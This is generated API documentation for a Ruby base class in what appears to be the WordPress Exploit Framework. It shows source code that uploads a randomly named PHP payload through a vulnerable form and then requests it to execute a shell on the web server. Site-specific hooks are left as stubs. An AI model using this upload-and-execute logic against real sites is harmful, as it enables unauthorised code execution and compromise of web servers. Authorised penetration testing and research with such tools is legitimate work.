module Wpxf::WordPress::ShellUpload

Provides reusable functionality for shell upload modules.

Public Class Methods

new() click to toggle source

Initialize a new instance of {ShellUpload}

Calls superclass method
# File lib/wpxf/wordpress/shell_upload.rb, line 8
def initialize
  super

  @session_cookie = nil
  @upload_result = nil
  @payload_name = nil

  _update_info_without_validation(
    desc: %(
      This module exploits a file upload vulnerability
      which allows users to upload and execute PHP
      scripts in the context of the web server.
    )
  )

  register_advanced_options([
    IntegerOption.new(
      name: 'payload_name_length',
      desc: 'The number of characters to use when generating the payload name',
      required: true,
      default: rand(5..10),
      min: 1,
      max: 256
    )
  ])
end

Public Instance Methods

before_upload() click to toggle source

Called prior to preparing and uploading the payload. @return [Boolean] true if no errors occurred.

# File lib/wpxf/wordpress/shell_upload.rb, line 67
def before_upload
  true
end
execute_payload(payload_url) click to toggle source

Execute the payload at the specified address. @param payload_url [String] the payload URL to access. @return [HttpResponse] the HTTP response of the request to the payload URL.

# File lib/wpxf/wordpress/shell_upload.rb, line 116
def execute_payload(payload_url)
  res = execute_get_request(url: payload_url, cookie: @session_cookie)
  emit_success "Result: #{res.body}" if res && res.code == 200 && !res.body.strip.empty?
  res
end
expected_upload_response_code() click to toggle source

@return [Integer] the response code to expect from a successful upload operation.

# File lib/wpxf/wordpress/shell_upload.rb, line 72
def expected_upload_response_code
  200
end
payload_body_builder() click to toggle source

@return [BodyBuilder] the {Wpxf::Utility::BodyBuilder} used to generate the uploader form.

# File lib/wpxf/wordpress/shell_upload.rb, line 51
def payload_body_builder
  nil
end
payload_name() click to toggle source

@return [String] the file name of the payload, including the file extension.

# File lib/wpxf/wordpress/shell_upload.rb, line 41
def payload_name
  @payload_name
end
payload_name_extension() click to toggle source

@return [String] the extension type to use when generating the payload name.

# File lib/wpxf/wordpress/shell_upload.rb, line 82
def payload_name_extension
  'php'
end
possible_payload_upload_locations() click to toggle source

@return [Array] an array of possible locations that the payload could have been uploaded to.

# File lib/wpxf/wordpress/shell_upload.rb, line 61
def possible_payload_upload_locations
  nil
end
run() click to toggle source

Run the module. @return [Boolean] true if successful.

Calls superclass method
# File lib/wpxf/wordpress/shell_upload.rb, line 88
def run
  return false unless super
  return false unless before_upload

  emit_info 'Preparing payload...'
  @payload_name = "#{Utility::Text.rand_alpha(_payload_name_length)}.#{payload_name_extension}"
  builder = payload_body_builder
  return false unless builder

  emit_info 'Uploading payload...'
  return false unless _upload_payload(builder)

  emit_info 'Executing the payload...'
  _validate_and_prepare_upload_locations.each do |payload_url|
    break if execute_payload(payload_url)&.code != 404
  end

  true
end
timestamp_range_adjustment_value() click to toggle source

@return [Integer] the number of seconds to adjust the upload timestamp range start and end values by.

# File lib/wpxf/wordpress/shell_upload.rb, line 123
def timestamp_range_adjustment_value
  10
end
upload_request_params() click to toggle source

@return [Hash] the query string parameters to use when submitting the upload request.

# File lib/wpxf/wordpress/shell_upload.rb, line 77
def upload_request_params
  nil
end
upload_result() click to toggle source

@return [HttpResponse, nil] the {Wpxf::Net::HttpResponse} of the upload operation.

# File lib/wpxf/wordpress/shell_upload.rb, line 36
def upload_result
  @upload_result
end
upload_timestamp_range() click to toggle source

@return [Array] the range of possible timestamps that could have been used when the payload reached the target.

# File lib/wpxf/wordpress/shell_upload.rb, line 128
def upload_timestamp_range
  (@start_timestamp - timestamp_range_adjustment_value)..(@end_timestamp + timestamp_range_adjustment_value)
end
uploaded_payload_location() click to toggle source

@return [String] the URL of the payload after it is uploaded to the target.

# File lib/wpxf/wordpress/shell_upload.rb, line 56
def uploaded_payload_location
  nil
end
uploader_url() click to toggle source

@return [String] the URL of the file used to upload the payload.

# File lib/wpxf/wordpress/shell_upload.rb, line 46
def uploader_url
  nil
end
validate_upload_result() click to toggle source

@return [Boolean] true if the result of the upload operation is valid.

# File lib/wpxf/wordpress/shell_upload.rb, line 109
def validate_upload_result
  true
end

Private Instance Methods

_payload_name_length() click to toggle source
# File lib/wpxf/wordpress/shell_upload.rb, line 145
def _payload_name_length
  normalized_option_value('payload_name_length')
end
_upload_payload(builder) click to toggle source
# File lib/wpxf/wordpress/shell_upload.rb, line 149
def _upload_payload(builder)
  @start_timestamp = Time.now.to_i

  builder.create do |body|
    @upload_result = execute_post_request(url: uploader_url, params: upload_request_params, body: body, cookie: @session_cookie)
  end

  @end_timestamp = Time.now.to_i

  if @upload_result.nil? || @upload_result.timed_out?
    emit_error 'No response from the target'
    return false
  end

  if @upload_result.code != expected_upload_response_code
    emit_info "Response code: #{@upload_result.code}", true
    emit_info "Response body: #{@upload_result.body}", true
    emit_error 'Failed to upload payload'
    return false
  end

  validate_upload_result
end
_validate_and_prepare_upload_locations() click to toggle source
# File lib/wpxf/wordpress/shell_upload.rb, line 134
def _validate_and_prepare_upload_locations
  payload_urls = possible_payload_upload_locations
  return payload_urls unless payload_urls.nil?

  payload_url = uploaded_payload_location
  return false unless payload_url

  emit_success "Uploaded the payload to #{payload_url}", true
  [].push(payload_url)
end